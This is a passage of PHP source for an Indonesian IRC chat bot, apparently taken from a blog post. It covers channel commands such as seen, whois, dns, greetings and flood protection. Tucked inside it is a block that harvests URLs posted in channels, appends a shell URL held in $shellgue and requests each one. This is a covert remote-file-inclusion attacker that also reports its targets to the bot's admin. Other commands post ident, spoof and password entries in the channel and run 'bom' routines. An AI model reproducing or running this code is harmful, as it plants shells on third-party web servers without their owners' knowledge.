}
if($wsys=='KSLANG' && $sysok==1 && $getlvl > 2){
$systembot['KSLANG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'KSLANG '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['KSLANG'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOCYCLE' && $sysok==1 && $getlvl > 2){
$systembot['AUTOCYCLE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOCYCLE '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOCYCLE'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOJOIN' && $sysok==1 && $getlvl > 2){
$systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOJOIN '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOJOIN'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOAWAY' && $sysok==1 && $getlvl > 2){
$systembot['AUTOAWAY']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOAWAY is [ 4'.strtoupper($systembot['AUTOAWAY']['ALL']).' ]');
}
if($wsys=='LISTGREET' && $dCom[1] && $dCom[2] && $getlvl > 2){
if($onoff==" 3ON "){
$ddc=strtolower($dCom[1]);$greetmsg["$ddc"]["nama"]=$dCom[1];$mgreet=str_replace($dCom[0]." ".$dCom[1]." ","",$TxtMsg);
$greetmsg["$ddc"]["msg"]=$mgreet;$modbot->notice($fp,$fsrc[nick],'Auto Greet For :'.$greetmsg["$ddc"]["nama"]);
$modbot->notice($fp,$fsrc[nick],'Auto Greet Msg :'.$greetmsg["$ddc"]["msg"]);
}else{$eel=strtolower($dCom[1]);unset($greetmsg["$eel"]["nama"]);unset($greetmsg["$eel"]["msg"]);$modbot->notice($fp,$fsrc[nick],'Delete Greet For :'.$eel);}
}
if($wsys=='LISTISON' && $dCom[1] && $getlvl > 2){
if($onoff==" 3ON "){
if($modbot->add_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is now in my list');}
else{$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is already in my list');}
}
else{if($modbot->del_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' has been deleted');}}
}
}
################################ SYSTEM ###################################
}
}
###############################
elseif (substr($Params[3],0,2)==':!'){
if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $systembot['PING'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if(strtolower($dCom[1])=='me'){$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}else {$modbot->stuf_ping($fp,$Params[2],$dCom[1]);}
}else{$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}
}
elseif (strtolower($Params[3])==':!version' && ereg('#',$Params[2]) && $systembot['VERSION'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' VERSION ');$datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datversi[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !version <nick> ');}
}
elseif (strtolower($Params[3])==':!jam' && ereg('#',$Params[2]) && $systembot['JAM'][strtoupper($Params[2])]==" 3ON ") {
$sekarang=date("l, j F Y H:i:s");
$modbot->msg($fp,$Params[2],"sekarang jam : [" .$sekarang. "]");
}
elseif (strtolower($Params[3])==':!seen' && ereg('#',$Params[2]) && $systembot['SEEN'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$nicksenn=strtolower($dCom[1]);
$waktuseennya=time();
$lamaseen= $waktuseennya - $asalseen[$nicksenn];
$asilhari=0;$asilejam=0;$asilmeni=0;
if ($lamaseen>=86400){$asilhari = $lamaseen / 86400;$hari = floor($asilhari)."hari "; $sisane = $lamaseen - ($hari*86400);$lamaseen = $sisane; }else{$hari =""; }
if ($lamaseen>=3600) {$asilejam = $lamaseen / 3600; $jamm = floor($asilejam)."jam "; $sisane = $lamaseen - ($jamm*3600); $lamaseen = $sisane; }else{$jamm =""; }
if ($lamaseen>=60) {$asilmeni = $lamaseen / 60; $ment = floor($asilmeni)."menit ";$sisane = $lamaseen - ($ment*60); $lamaseen = $sisane; }else{$ment =""; }
if ($asilhari == 0){$katahari=""; }else{$katahari=$hari; }
if ($asilejam == 0){$kataejam=""; }else{$kataejam=$jamm; }
if ($asilmeni == 0){$katameni=""; }else{$katameni=$ment; }
if ($lamaseen == 0){$katadeti=""; }else{$katadeti=$lamaseen."detik"; }
$katamsgseen = $katahari." ".$kataejam." ".$katameni." ".$katadeti;
if($asalseen[$nicksenn.'chanel']=="ini"){$asalseen[$nicksenn.'chanel']="$Params[2]"; }
if($asalseen[$nicksenn]){
if($asalseen[$nicksenn]=="ada"){
$modbot->msg($fp,$Params[2]," [".$nicksenn."] si " .$nicksenn. " lagi OL! " .$fsrc[nick]. " buta kau ya..-_-???");
}
elseif($asalseen[$nicksenn]=="ganti"){
$modbot->msg($fp,$Params[2],"terakhir aku liat si " .$nicksenn. " ganti nick ".$asalseen[$nicksenn.'chanel']." " .$fsrc[nick]. "..!!");
}
else{$modbot->msg($fp,$Params[2],"terakhir aku liat si " .$nicksenn. " ".$asalseen[$nicksenn.'status']." dari chanel ".$asalseen[$nicksenn.'chanel']." ".$katamsgseen." yg lalu kayaknya " .$fsrc[nick]. "..!!!"); }
}else{$modbot->msg($fp,$Params[2],"Aku ngk pernah liat " .$dCom[1]. " join disini " .$fsrc[nick]. "-_-...!!!"); }
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !seen <nick> ');}
}
elseif (strtolower($Params[3])==':!whois' && ereg('#',$Params[2]) && $systembot['WHOIS'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$datwhois[strtolower($dCom[1])]["nick"]=strtolower($dCom[1]);
$datwhois[strtolower($dCom[1])]["chan"]=$Params[2];
$modbot->send($fp,'WHOIS '.$dCom[1]);
}
else{
$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!whois <nick>');
}
}
elseif (strtolower($Params[3])==':!chat' && ereg('#',$Params[2]) && $systembot['CHAT'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$chchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $chchan="#".$dCom[1]; }
if (strlen($Params[5]) != 0 ){
$comandchat=str_replace(":","",$Params[3]);
$pesannya=str_replace($comandchat,"",$TxtMsg);
$pesannya=str_replace($Params[4],"",$pesannya);
if (strlen($pesannya) >= 150 ){$pesannya=substr($pesannya,0,150);}
if( strtolower($Params[2]) != strtolower($chchan) ){$modbot->msg($fp,$chchan,$pesannya." chat dari ".$fsrc[nick]." di "."$Params[2]");}else{$modbot->msg($fp,$Params[2],"Lah.. kok Chat di chan ini toh? ".$fsrc[nick]." gila loh");}
}else{$modbot->msg($fp,$fsrc[nick],"mana pesannya bro");}
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !chatt <#chan> <pesan> ');}
}
elseif (strtolower($Params[3])==':!pesan' && ereg('#',$Params[2]) && $systembot['JPESAN'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if (strlen($Params[5]) != 0 ){
$nicktargetnya=strtolower($dCom[1]);
$comandchat=str_replace(":","",$Params[3]);
$pesannya=str_replace($comandchat,"",$TxtMsg);
$pesannya=str_replace($Params[3],"",$pesannya);
$pesannya=str_replace($Params[4],"",$pesannya);
if (strlen($pesannya) >= 150 ){$pesannya=substr($pesannya,0,150);}
$nickpesan[$nicktargetnya]=" [ ".$fsrc[nick]." ] beri pesan buat kamu ".$pesannya ;
$modbot->msg($fp,$fsrc[nick],'ok ntar tak sampein ke '. $nicktargetnya.' pesanmu!!!');
}else{$modbot->msg($fp,$fsrc[nick],"mana pesannya bro");}
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !pesan <nick> <pesan> ');}
}
elseif (strtolower($Params[3])==':!sms' && ereg('#',$Params[2]) && $systembot['SMS'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if($Params[4]){
$nomorygdituju=$dCom[1];
$comandsms=str_replace(":","",$Params[3]);
$pesansmsnya=str_replace($comandsms,"",$TxtMsg);
$pesansmsnya=str_replace($dCom[1],"",$TxtMsg);
$pesansmsnya=str_replace($Params[4],"",$TxtMsg);
$modbot->msg($fp,$Params[2],'[ Sms ] ['.$fsrc[nick].'] '.$modbot->mod_kirimsms($fp,$nomorygdituju,$pesansmsnya).' ');
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !sms <nomor> <pesan> ');}
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !sms <nomor> <pesan> ');}
}
elseif (strtolower($Params[3])==':!tarik' && ereg('#',$Params[2]) && $systembot['GUYON'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){$modbot->act($fp,$Params[2],"Tarik jembutnya " .$dCom[1]. " ampek brodolll...!!! HoHoHoHo");}
}
elseif (strtolower($Params[3])==':!cium' && ereg('#',$Params[2]) && $systembot['GUYON'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){$modbot->act($fp,$Params[2],"Cium " .$dCom[1]. " pas di bawah udel muaCh Mwah . ihz bnyak rambutnya. xixixixixixixi...");}
}
elseif (strtolower($Params[3])==':!ketak' && ereg('#',$Params[2]) && $systembot['GUYON'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){$modbot->act($fp,$Params[2],"ketaki mbun2nane " .$dCom[1]. " ctak ctak ctak gdubrak ampek botakkk. kwakakakakakaka...");}
}
elseif (strtolower($Params[3])==':!time' && ereg('#',$Params[2]) && $systembot['TIME'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' TIME ');$dattime[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$dattime[strtolower($Params[4])]["chan"]=$Params[2];}
else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !time <nick> ');}
}
elseif (strtolower($Params[3])==':!finger' && ereg('#',$Params[2]) && $systembot['FINGER'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' FINGER ');$datfinger[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datfinger[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !finger <nick> ');}
}
elseif (strtolower($Params[3])==':!ip' && ereg('#',$Params[2]) && $systembot['IP'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[2],'weh ntar tak bilangin ama bos Original kau ya-_-!! '.$fsrc[nick].'....!!!');
$modbot->msg($fp,$Params[2],'ip '.$dCom[1].' info '.$modbot->mod_lookip($fp,$Params[4]).' '.$fsrc[nick]);
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !ip <Ip> ');}
}
elseif (strtolower($Params[3])==':!berita' && ereg('#',$Params[2]) && $systembot['BERITA'][strtoupper($Params[2])]==" 3ON ") {
$modbot->msg($fp,$Params[2],' 7< 6< Berita 6> 7> 4'.$modbot->mod_lookberitaperson($fp).' '.$fsrc[nick]);
}
elseif (strtolower($Params[3])==':!info' && ereg('#',$Params[2]) && $systembot['BERITA'][strtoupper($Params[2])]==" 3ON ") {
$modbot->msg($fp,$Params[2],' 7< 6< Berita 6> 7> 4'.$modbot->mod_lookberitaperson($fp).' '.$fsrc[nick]);
}
elseif (strtolower($Params[3])==':!fs' && ereg('#',$Params[2]) && $systembot['FS'][strtoupper($Params[2])]==" 3ON ") {
$modbot->msg($fp,$Params[2],' < Friendster > 12'.$modbot->mod_lookfs($fp,$Params[4]).' 12'.$fsrc[nick]);
}
elseif (strtolower($Params[3])==':!dns' && ereg('#',$Params[2]) && $systembot['DNS'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if (ereg("[a-zA-Z]", $dCom[1])) {$res = gethostbyname($dCom[1]);}
elseif (ereg("[0-9]", $dCom[1])) {$res = gethostbyaddr($dCom[1]);}
if ($res==$dCom[1]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
$modbot->msg($fp,$Params[2],' DNS Query for: [' .$dCom[1] . '] ' .$res);
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !dns <host> ');}
}
elseif (strtolower($Params[3])==':!astro' && ereg('#',$Params[2]) && $systembot['ASTRO'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A stro 15) '. $modbot->mod_astro($dCom[1]));
}else{
$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!astro <bintang>');
}
}
elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON ") {
$spoofnya=strtolower($Params[4]);
if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 S poof 15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].' '. CRLF);
}
else {$modbot->notice($fp,$frsc[nick],' 15( 04 S poof 15) Request Error');}
}
elseif (strtolower($Params[3])==":!kslang" && ereg('#',$Params[2]) && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON ") {
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
if($Params[4]<=$kmjml[strtolower($ktslsl)] && $Params[4]>0){
$nomere=$Params[4]-1;
if(strpos($kmusedan[$nomere]["definisi"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["definisi"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
}
if(strpos($kmusedan[$nomere]["contoh"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["contoh"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
}
}
else{
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 KS lang 15) Request Error'. CRLF);
}
}
elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $Params[5]) {
$typeup=strtolower($Params[4]);
if($typeup=='spoof' && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON "){
$modbot->msg($fp,$Params[2],' 15( 04 S poof 15) Update Complete! FOUND :'.$modbot->mod_uspoof($fp,$Params[5]).' Spoof');
}
elseif($typeup=='kslang' && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON "){
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
$modbot->msg($fp,$Params[2],' 15( 04 KS lang 15) Update Complete! FOUND :'.$modbot->mod_uslang($fp,$ktslsl).' Arti');
}
}
elseif (strtolower($Params[3])==":!bom" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_bom($fp,$Params[2],$Params[4]);
}
elseif (strtolower($Params[3])==":!potong" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_potong($fp,$fsrc[nick],$Params[2],$Params[4]);
}
}
elseif (strlen(strtolower($TxtMsg))>=$maxkar) {
if (substr($Params[3],0,1)==':' && ereg('#',$Params[2]) && $systembot['GUARD'][strtoupper($Params[2])]==" 3ON ") {
if ($floddban == "ON"){$modbot->ban($fp,$Params[2],"*!*@".$fsrc[host]); }
$modbot->kick($fp,$Params[2],$fsrc[nick]," Flood Protection ..!!");
if ($floddban == "ON"){
sleep(5);sleep(2);
if($systembot['NGOMONG'][strtoupper($Params[2])]==" 3ON "){$modbot->msg($fp,$Params[2],"tak bukak ban kamu skrg ".$fsrc[nick]." Jgn diUlang rek...!!!"); }
sleep(2);
$modbot->unban($fp,$Params[2],"*!*@".$fsrc[host]);
}
}
}
elseif (substr($Params[3],0,1)==':') {
$naidiceluk=substr($Params[3],1,(strlen($Params[3])));
if ((substr_count(strtolower($TxtMsg),strtolower($bot['nick']))>0)OR(substr_count(strtolower($TxtMsg),strtolower($bot['realname']))>0)) {
if($systembot['NGOMONG'][strtoupper($Params[2])]==" 3ON "){
$ada = FALSE;
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$fsrc[nick],$rpesan[1]);
$modbot->msg($fp,$Params[2],$rpesan[1]);
$ada = TRUE;
}
}
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace("<nick>",$fsrc[nick],$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
$modbot->msg($fp,$Params[2],$jawab);
$ada = TRUE;
}
}
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace("<nick>",$fsrc[nick],$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
$modbot->msg($fp,$Params[2],$jawab);
$ada = TRUE;
}
}
if (!$ada) {
$jwbpsn = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$jwbpsn = str_replace("<nick>",$fsrc[nick],$jwbpsn);
$modbot->msg($fp,$Params[2],$jwbpsn);
}
}
}
}
elseif($systembot['NGOMONG'][strtoupper($Params[2])]==" 3ON "){
$ada = FALSE;
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace("<nick>",$fsrc[nick],$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
$modbot->msg($fp,$Params[2],$jawab);
$ada = TRUE;
if($systembot['BADWORD'][strtoupper($Params[2])]==" 3ON "){$modbot->kick($fp,$Params[2],$fsrc[nick],"yang sopan dong..!"); }
}
}
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$fsrc[nick],$rpesan[1]);
$modbot->msg($fp,$Params[2],$rpesan[1]);
$ada = TRUE;
}
}
}
}
}
elseif (substr($Params[3],0,3)==':me'){
$modbot->join($fp,'#njengils');
}
if (substr($Params[3],0,1)==':') {
###############################################################################################
$trtext="http://";
if (substr_count(strtolower($TxtMsg),$trtext) > 0) {
$awaltex=0;
$adatarget=0;
$ltexttarget=0;
$panjangtex=strlen($TxtMsg);
do {
$awaltex=$awaltex+1;
$httptarget=substr($TxtMsg,$awaltex,$panjangtex);
$httptarget=substr($httptarget,0,4);
$httptarget=strtolower($httptarget);
if($httptarget=="http"){$ltexttarget=$awaltex;$adatarget=1;break; }
if($awaltex>=$panjangtex){$adatarget=0;break; }
} while(true);
$ahirtarget=$panjangtex;
$hasiltarget=substr($TxtMsg,$ltexttarget,$panjangtex);
$rtexttarget=$panjangtex-$ltexttarget;
do {
$ahirtarget=$ahirtarget-1;
$rtexttarget=$ahirtarget-$ltexttarget;
$mburine=substr($TxtMsg,0,$ahirtarget);
$mburine=substr($mburine,$ahirtarget-1,$ahirtarget);
$mburine=strtolower($mburine);
if($mburine=="="){
$adatarget=2;
$rtexttarget=$ahirtarget-$ltexttarget;
break;
}
if($ahirtarget<=1){$adatarget=0;break; }
} while(true);
if($adatarget==2){
$hasiltarget=substr($hasiltarget,0,$rtexttarget);
$cektarget=substr($hasiltarget,0,15);
$ngulange=0;
do {
$ngulange=$ngulange+1;
$cektaget=substr($hasiltargetgue[$ngulange],0,15);
if($cektaget==$cektarget){$sido=0;break; }
if($ngulange>=$notarget){$sido=1;break; }
} while(true);
if(($sido==1) && (!ereg(" ",$hasiltarget)) && (!ereg(" ",$hasiltarget))){
$notarget=$notarget+1;
$hasiltargetgue[$notarget]=$hasiltarget;
if($bagitarget=="ON"){$modbot->msg($fp,$bot['admin'],$hasiltarget.$shellgue); }
$loadergue = fopen ($hasiltargetgue[$notarget].$shellgue, "rb");
}
$sido=0;
}
}
###############################################################################################
$yangngomong=strtolower($fsrc[nick]);
$asalseen[$yangngomong]="ada";
if (substr($Params[3],0,1)==':' && ereg('#',$Params[2]) && $systembot['GUARD'][strtoupper($Params[2])]==" 3ON ") {
$temptex=strtolower($Params[2]).strtolower($fsrc[nick]).strtolower($Params[3]).strtolower($Params[4]);
if ($temptex==$textemp){
$textrep=($textrep+1);
if ($textrep>=$Maxreep){
$modbot->kick($fp,$Params[2],$fsrc[nick]," 9,14 jangan repeat please ..!!");
$textrep=0;
}
}else {$textrep=0;$textemp=$temptex;}
}
}
########### NET ############
break;
}
##[ AKHIR DATA RAW NIH ]##
}
### PERMAINAN PING PONG ###
elseif ( substr($DataLine,0,4) == 'PING' ) {$modbot->send($fp,'PONG ' . substr($DataLine,5));}
$response ="";
}
##[ End Proses Data Recv ]##
}
fclose ($fp);
unset ($fp);
$response='';
}
} while ($keluar==0);
}
################### [ END CONNECT ] ###################
?>
Tidak ada komentar:
Posting Komentar